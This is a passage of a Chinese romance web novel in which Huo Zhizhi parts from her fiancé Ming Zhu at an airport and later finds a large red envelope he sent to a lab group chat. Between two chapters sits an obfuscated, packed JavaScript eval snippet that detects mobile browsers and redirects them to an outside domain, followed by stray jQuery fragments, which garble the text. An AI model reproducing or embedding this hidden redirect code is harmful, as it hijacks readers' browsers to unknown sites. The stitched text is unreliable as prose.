“会。”
沉默良久后,明烛忽然出声,打断她的话。
他说,他也会为了股份妥协。
“...啊?”
霍知枝一句话憋回嘴里,憋得她脸通红。
白煽情了。
万恶的资本家,操!
她还以为他多深情呢,每天演的一副要死要活的样子。结果,就这?
霍知枝改主意了,她才不要告诉他真相,她要等到哪一天明烛七老八十病危在床,老得走不动路了,再凑到他耳边说。
“其实你的白月光没死噢,她一直都还活着。”
那时,看着明烛痛苦万分又无可奈何的表情,那才是真的爽!
霍知枝沉浸在自己爽翻天的幻想里,冷不丁听见明烛问,“你刚刚想说什么?”
“噢。”
霍知枝正了正脸色,故作严肃道,“其实,我是个男的。”
“...霍!知!枝!”
明烛黑了脸,声音几乎从牙缝里挤出来。
“扑哧!”
霍知枝没憋住笑,看着明烛一脸吃了苍蝇般的神色,忍不住哈哈大笑,笑了好一会儿才开口。
“好了好了,我认真说。”
霍知枝绷着脸,极力忍住笑容,“其实,我是人妖。”
明烛:......
他未婚妻好像是个傻的。
看着霍知枝笑得花枝乱颤,男人无奈地扶额,极深的眼底似也泛起愉悦的涟漪。
“走了,我送你去机场。”
明烛披上大衣,将一袋衣服递给她,“你之前的衣服都湿透了,换上新的吧,我在门外等你。”
霍知枝笑得腮帮子都酸了,好不容易换好衣服,走到停车场时,眼尖地看见明烛开过来一辆她没见过的车。
“你那辆宾利呢?”
明烛帮她打开副驾驶的门,面不改色道,“坏了,在修。”
霍知枝坐进副驾驶,又讶异道,“今天你自己开车?司机呢?”
明烛,“他今天休假。”
霍知枝后知后觉地看向窗外的天色。
她和虞文心见面的时间是周六晚上,可现在窗外天色大亮,已经是周日白天了。
周日,正好是圣诞节。
呵呵,她昨晚真是度过了好一个“平安夜”啊。
霍知枝头抵在窗户上,百无聊赖地掏出手机。微信有二十多条未读消息,乍一看全是同学们给她发来的“圣诞快乐”,霍知枝心里一暖,嘴角不自觉地荡开幸福的弧度。
原来有人挂念是这种感觉。
她抿着唇笑,一个一个地回复,最早的一条是郑瑜文昨晚发来的。
“抱歉哦枝枝,刚才没看到你的消息。”
“明总在XX酒店,你要过来吗?”
“倒霉!我刚准备上去搭话呢,明总接了个电话就火急火燎地走了[哭泣]”
“anyway,圣诞快乐呀枝枝~”
霍知枝眨眨眼,下意识偏头看向明烛。
男人正在开车,只露出骨削版棱角分明的侧脸,鼻梁高翘,若是坐在上面滑滑梯,一定能飞得很高吧。
车内的光影在他身上跳跃,霍知枝望向他平薄的嘴唇,很难想象这张性冷淡的脸上还会出现“火急火燎”的表情。
他在为她着急?
也是了,她毕竟是他名义上的未婚妻,被下了药丢在酒店里,万一被其他人捷足先登了,那他多没面啊。
霍知枝恹恹地想着,却见明烛斜斜转头,对上她的视线,出声问道,“在想什么呢?”
霍知枝睁眼说瞎话:“我在想,你要是不好好看路,我们就会像狗血小说里一样出车祸,然后失忆互相忘记对方,开启一段虐恋情深。”
明烛:...
霍知枝只见他按了个按钮,车内响起“NOA已激活”,明烛偏头,带着点无奈的语气道,“现在不会出车祸了。”
方向盘自动转弯,风驰电掣地超过前排一个龟速车,明烛好整以暇地看着她,黑眸幽深似潭。
“所以,你在想什么?”
被他的视线灼灼看着,霍知枝遭不住,率先移开了眼神,她盯着窗外飞驰倒退的房子,沉默了半晌,才慢吞吞道。
“那什么,祝你昨天生日快乐。”
她说完,还有些不好意思地摸了摸鼻子。哪儿有祝别人“昨天”生日快乐的?明烛又要笑话她了。
耳畔果然传来低沉的笑声,霍知枝偷瞟一眼,却在明烛那副俊朗的脸上撞见愉悦的神情。
男人薄唇勾着,眼底荡开层层笑意。
“谢谢。”
明烛温声回她。
“噢,不用谢。”
霍知枝没好气道,“反正也没给你准备生日礼物。”
明烛唇角动了动,最后却什么都没说,只是落寞地笑着,摇了摇头。
汽车缓缓停在机场的路边,霍知枝解了安全带,冲他道,“谢谢你送我来机场。”
她拉开车门把手——纹丝不动。
霍知枝愣了一下,又用力拉了一下,车门依然锁着。她疑惑地转头看向驾驶座。
明烛两手搭在方向盘上,视线紧紧锁着她,带着一种无声而沉重的力量。
阳光透过车窗,在他挺直的鼻梁和紧抿的薄唇上投下小片阴影。他没有说话,只是这样看着她,眼神专注得仿佛要将她的模样刻进骨子里。
又来了,这副深情的模样。
霍知枝心底涌起一股焦躁,下意识地避开了他的目光。
这么深情做给谁看呢?她又不是他的白月光。
“开门。”
她再次开口,声音干涩。
明烛没有动,放在方向盘上的那只手骨节更加分明,青筋微微凸起。
时间一秒一秒地流逝。他的目光在她苍白的脸上、微蹙的眉间、紧抿的唇上流连。
那眼神深处挣扎着某种欲望,种种情绪激烈地碰撞着,最终却都被一种近乎绝望的克制强行压下。
他张开的唇,最终只是化为一声极轻、极沉,几乎听不见的叹息。
最终,他什么也没说。
那股汹涌到几乎要冲破堤坝的情绪,被他用强大的意志力硬生生地、一点一点地按回了心底最深处。他眼底翻腾的风暴渐渐平息,只剩下一种深不见底的疲惫,一种近乎荒凉的沉寂。
明烛默默地转回了身,不再看她。那只放在方向盘上的手,终于抬起,伸向了中控台。
“嗒”的一声轻响,是车门锁解除的声音。
霍知枝几乎是立刻推开了车门,郊区冰凉的空气涌了进来,让她不禁打了个寒颤。
关上车门前,她还是忍不住回头看了一眼驾驶座。
明烛依旧保持着那个姿势,双手握着方向盘,目视前方,侧脸的线条绷得紧紧的,下颌线如同刀削。
晨光勾勒出他沉默而孤独的剪影,仿佛刚才那片刻汹涌的凝望和挣扎,从未发生过。
“再见...不,再也不见。”
她低声说,也不知他有没有听见。
车门轻轻关上,隔绝了两个世界。
霍知枝安检完,坐在登机口,安安静静地等候上飞机。手机突然响了,她一看,是明烛给她发的消息。
“汤景晟世1栋301,密码000888”
没头没脑的一句话摆在手机上。
霍知枝查了下,“汤景晟世”是华深大学附近一个高档小区,走路五分钟就能到,十分方便。
明烛给她汤景晟世的房子密码做什么?
她缓缓打过去一个“?”
明烛回得很快:我很少过去,不嫌弃的话你可以住着。
二十多万一平的房子,她当然不敢嫌弃,只不过...
霍知枝皱着眉,“什么意思,补偿?”
明烛:你也可以这么认为。
行吧。霍知枝坏坏地想,她待会儿就去把房门密码改了,等哪一天明烛进不去房子干瞪眼,这对她来说才叫补偿好嘛!
当然,住是不可能住的,不然显得她像金屋藏娇似的,多恶心人呐。
霍知枝抖了抖身上的鸡皮疙瘩,把手机揣回兜里,不再回明烛的消息。
..
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142161|179505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.
周一的时候,深城下了场小雨,寒风裹挟着雨丝呼呼吹过,让这座南方都市难得有了些冬天的意味。
霍知枝一进实验室就觉得不对劲,小小的房子里气压低得吓人,肖乔翁三人埋头各做各的事,一句话也不讲,空气里凝着厚厚的压抑。
霍知枝轻手轻脚地摸到自己座位上,先是查了一通邮箱,还是没有新邮件,才给翁楚爵发微信。
“发生什么事了,实验室怎么这么安静。”
翁楚爵:“斑斓师姐在生肖师兄的气。”
霍知枝:“啊?为什么?”
翁楚爵:“昨天圣诞节,肖师兄单独约斑斓师姐在实验室见面。”
霍知枝:“我知道,然后呢?”
翁楚爵:“斑斓师姐以为是约会,结果...”
“...结果,他妈的,肖顷那个大傻逼,我一进来,他就说,‘快快快帮我看着点实验数据,我游戏马上开服了’。”
乔斑斓趴在酒吧的沙发上,冲着霍知枝哇哇大哭,“肖顷他妈的约我去实验室,是因为他喜欢的游戏那天开服,让我帮他盯实验数据!”
霍知枝也是一阵无语,酒吧的音乐声锣鼓喧天,耳边还有乔斑斓哭天喊地的声音,霍知枝耳膜一股一股地跳着,忽然就有点后悔答应乔斑斓来酒吧了。
谁能想到呢,今年的最后一个夜晚,她竟然是在酒吧和乔斑斓一起过的。
乔斑斓虽然名义上是她学姐,其实年龄还没她大,今年刚满十八而已,一路顺风顺水地考上华深大学,没太经历过太多挫折,为数不多的几次掉坑竟然都是在肖顷身上。
她一边狂灌酒,一边怒骂,“老娘化了俩小时的妆,难道是要去做实验的吗?!肖顷就是个木头!神经病!”
女孩儿巴掌大的小脸上涕泗横流,娇俏的鼻尖揉得通红,眼角可怜巴巴地耷拉着,一把抱住霍知枝,哭道。
“男人都是大骗子!学妹,你可千万别相信他们。”
霍知枝手掌顺着她的背,附和着点头,“嗯嗯嗯,对对对。”
“学妹,我给你介绍其他男人,翁翁游泳队的那些哥们儿你见过没,个个都是大长腿、公狗腰,肖顷算什么...哼!”
霍知枝:“好好好,不要肖顷。”
她觉得自己像个带孩子的老妈子。
“学妹...几点了?”
霍知枝看一眼手机,“马上九点了。”
“九点...!!”
乔斑斓一个猛子弹跳起来,“快快快,给我手机,我手机呢?!”
霍知枝把她的手机递了过去,“怎么啦?”
乔斑斓一抹眼泪,嘿嘿直笑,“实验室老传统了,跨年的时候,秦老师会在群里发红包,惯例就是九点。”
提到钱,霍知枝也精神了,马上翻出微信群,九点刚到,群里就接连下起红包雨,秦如瑛一口气发了十个大红包,全是要拼手速抢的。
霍知枝在昏暗的酒吧里狂点屏幕,红包抢得酣畅淋漓,忍不住发了条朋友圈。
霍知枝:谢谢秦老板的赏钱[飞吻]。配图则是群里红彤彤的盛况。
秦如瑛发完红包就退场,随后也有几个高年级的学长学姐发了几个小包助助兴,虽然小嘛,但蚊子腿都是肉,霍知枝依旧抢得不亦乐乎。
她正埋头苦干时,耳边忽地传来乔斑斓的惊呼,“卧槽,这么大的红包?!枝枝快来!!”
在哪儿?!
乔斑斓眼疾手快地把霍知枝拉进一个新群,霍知枝来不及看群名,条件反射地点开那个红艳艳的图标。
“恭喜您抢到了6666元。”
不是...夺少?!
霍知枝眼睛瞪得老大,眼珠子都快掉出来了。
哪位大佬发的红包,这么有钱?
她返回群聊一看,红包前的方框里赫然顶着一个她无比熟悉的头像。
是她曾经睡不着时,会久久凝望的头像。
竟然是明烛。
她抬眼一看群名,“秦教授实验室与明日能源合作交流群”。
见鬼了,明烛竟然撒币了。